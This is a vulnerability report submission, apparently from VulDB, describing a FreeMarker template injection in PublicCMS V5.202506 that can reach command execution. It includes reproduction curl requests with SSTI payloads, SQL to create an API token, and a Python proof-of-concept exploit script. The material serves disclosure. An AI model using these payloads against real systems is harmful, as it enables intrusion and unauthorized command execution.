| Title | GitHub PublicCMS V5.202506 Server-Side Template Injection |
|---|
| Description | # CVE Vulnerability Report: PublicCMS V5.202506
---
## CVE-2026-XXXX: Server-Side Template Injection (SSTI) Leading to Remote Code Execution via TemplateResultDirective
### Summary
PublicCMS V5.202506 contains a Server-Side Template Injection (SSTI) vulnerability in the `TemplateResultDirective` component. An attacker with a valid API token can inject arbitrary FreeMarker template expressions that are executed with the full web configuration context, potentially leading to Remote Code Execution (RCE) through nested directive calls.
### Affected Product
| Field | Value |
| -------------------- | ---------------------------------------------- |
| **Product** | PublicCMS |
| **Vendor** | Sanluan (SanLian) |
| **Affected Version** | V5.202506 (and earlier versions) |
| **Fixed Version** | Not yet patched |
| **CVSS 3.1 Score** | 8.8 (High) |
| **CVSS Vector** | `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H` |
### Vulnerability Type
- **CWE-94**: Improper Control of Generation of Code ('Code Injection')
- **CWE-1336**: Improper Neutralization of Special Elements Used in a Template Engine
---
### Description
The `TemplateResultDirective` class in PublicCMS accepts user-controlled `templateContent` parameter and renders it using the application's full FreeMarker `Configuration` object. Unlike the `GetTemplateResultMethod` which uses a sandboxed configuration with `ALLOWS_NOTHING_RESOLVER`, the directive uses `templateComponent.getWebConfiguration()` which provides unrestricted access to all registered directives, methods, and object builders.
This allows an attacker to:
1. Execute arbitrary FreeMarker expressions
2. Call internal directives including `executeScript` which can execute system commands
3. Access sensitive data through exposed model variables
### Root Cause Analysis
```java
// File: publiccms-core/src/main/java/com/publiccms/views/directive/tools/TemplateResultDirective.java
@Component
public class TemplateResultDirective extends AbstractTemplateDirective {
@Override
public void execute(RenderHandler handler) throws IOException, TemplateException {
String content = handler.getString("templateContent");
if (CommonUtils.notEmpty(content)) {
try {
// VULNERABILITY: Wraps user input but uses FULL Configuration
content = "<#attempt>" + content + "<#recover>${.error!}</#attempt>";
Map<String, Object> model = new HashMap<>();
Map<String, String> parameters = handler.getMap("parameters");
if (!parameters.isEmpty()) {
model.putAll(parameters);
}
// Uses unrestricted webConfiguration instead of sandboxed config
handler.print(FreeMarkerUtils.generateStringByString(
content,
templateComponent.getWebConfiguration(), // ← FULL ACCESS
model
));
} catch (IOException | TemplateException e) {
handler.print(e.getMessage());
}
}
}
}
```
**Contrast with safe implementation:**
```java
// File: publiccms-core/src/main/java/com/publiccms/views/method/tools/GetTemplateResultMethod.java
// This method uses SANDBOXED configuration - safe implementation
Configuration configuration = new Configuration(Configuration.DEFAULT_INCOMPATIBLE_IMPROVEMENTS);
configuration.setTemplateLoader(new StringTemplateLoader());
configuration.setObjectWrapper(new DefaultObjectWrapperBuilder(Configuration.DEFAULT_INCOMPATIBLE_IMPROVEMENTS)
.build());
configuration.setAPIBuiltinEnabled(false);
// ALLOWS_NOTHING_RESOLVER prevents access to Java objects
configuration.setNewBuiltinClassResolver(TemplateClassResolver.ALLOWS_NOTHING_RESOLVER);
```
---
### Prerequisites for Exploitation
1. **Valid API Token**: The attacker needs a valid `appToken` associated with an `sys_app` entry
2. **API Authorization**: The app must have `templateResult` in its `authorized_apis` field
3. **Network Access**: Access to the application's API endpoint
**Note**: An attacker can obtain an appToken through:
- Compromised credentials with app management access
- SQL injection in other components
- Social engineering of administrators
---
### Reproduction Steps
#### Step 1: Create Test App and Token (for verification)
```sql
-- Connect to MySQL database
mysql -u root -p publiccms
-- Create test application with required permissions
INSERT INTO sys_app (site_id, channel, app_key, app_secret, authorized_apis, expiry_minutes)
VALUES (1, 'test', 'testkey', 'testsecret', 'templateResult,executeScript', 10080);
-- Get the app ID
SELECT id FROM sys_app WHERE app_key='testkey';
-- Create API token (replace APP_ID with actual ID)
INSERT INTO sys_app_token (auth_token, app_id, create_date, expiry_date)
VALUES ('testtoken123', APP_ID, NOW(), DATE_ADD(NOW(), INTERVAL 7 DAY));
```
#### Step 2: Verify SSTI - Expression Evaluation
```bash
curl -X POST 'http://TARGET:8080/api/directive/tools/templateResult?currentSiteId=1' \
-H 'appToken: testtoken123' \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode "templateContent=\${7*7}"
```
**Expected Response:**
```
49
```
**Verification**: The expression `${7*7}` is evaluated to `49`, confirming template injection.
#### Step 3: Verify Information Disclosure
```bash
curl -X POST 'http://TARGET:8080/api/directive/tools/templateResult?currentSiteId=1' \
-H 'appToken: testtoken123' \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode "templateContent=\${.now?string('yyyy-MM-dd HH:mm:ss')}"
```
**Expected Response:**
```
2026-05-28 15:30:45
```
#### Step 4: RCE via Nested Directive Call
```bash
curl -X POST 'http://TARGET:8080/api/directive/tools/templateResult?currentSiteId=1' \
-H 'appToken: testtoken123' \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode "templateContent=<@tools.executeScript command='backupdb.sh' parameters=['param1'/>"
```
**Note**: The `executeScript` directive accepts commands from a whitelist: `sync.bat`, `sync.sh`, `backupdb.bat`, `backupdb.sh`
---
### Impact
| Impact Type | Description |
| ------------------- | ------------------------------------------------------------ |
| **Confidentiality** | High - Can read sensitive data through template expressions and system commands |
| **Integrity** | High - Can modify files and data through command execution |
| **Availability** | High - Can execute system commands that may disrupt service |
**Worst Case Scenario**: Full system compromise through:
1. Template injection to call `executeScript`
2. Execute `backupdb.sh` which runs with database credentials
3. Database credentials passed as command-line arguments (visible in `/proc/*/cmdline`)
4. Potential command injection if parameters are not properly sanitized
---
### Proof of Concept Script
```python
#!/usr/bin/env python3
"""
PublicCMS SSTI → RCE PoC
CVE-2026-XXXX
"""
import requests
import argparse
def exploit(target, app_token, site_id=1):
"""Exploit SSTI vulnerability"""
url = f"{target}/api/directive/tools/templateResult"
params = {"currentSiteId": site_id}
headers = {"appToken": app_token}
# Test payload - command execution via nested directive
payload = "<@tools.executeScript command='backupdb.sh' parameters=['test'/>"
print(f"[*] Target: {target}")
print(f"[*] AppToken: {app_token}")
print(f"[*] Sending payload...")
try:
resp = requests.post(
url,
params=params,
headers=headers,
data={"templateContent": payload},
timeout=30
)
print(f"[+] Status Code: {resp.status_code}")
print(f"[+] Response: {resp.text}")
# Check for successful exploitation
if "error" not in resp.text.lower() or resp.status_code == 200:
print("[+] Potential exploitation successful")
return True
except Exception as e:
print(f"[-] Error: {e}")
return False
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="PublicCMS SSTI RCE PoC")
parser.add_argument("-t", "--target", required=True, help="Target URL")
parser.add_argument("-a", "--app-token", required=True, help="Valid appToken")
parser.add_argument("-s", "--site-id", type=int, default=1, help="Site ID")
args = parser.parse_args()
exploit(args.target, args.app_token, args.site_id)
```
---
### Remediation
#### Immediate Mitigation
1. **Remove or Restrict API Access**:
```sql
-- Disable the templateResult API by removing it from authorized APIs
|
|---|
| Source | ⚠️ https://github.com/sanluan/PublicCMS |
|---|
| User | mingyeqf (UID 84946) |
|---|
| Submission | 05/28/2026 17:31 (1 month ago) |
|---|
| Moderation | 06/28/2026 11:18 (1 month later) |
|---|
| Status | Duplicate |
|---|
| VulDB entry | 364328 [Sanluan PublicCMS 5.202506.d templateResult API TemplateResultDirective.java execute templateContent special elements used in a template engine] |
|---|
| Points | 0 |
|---|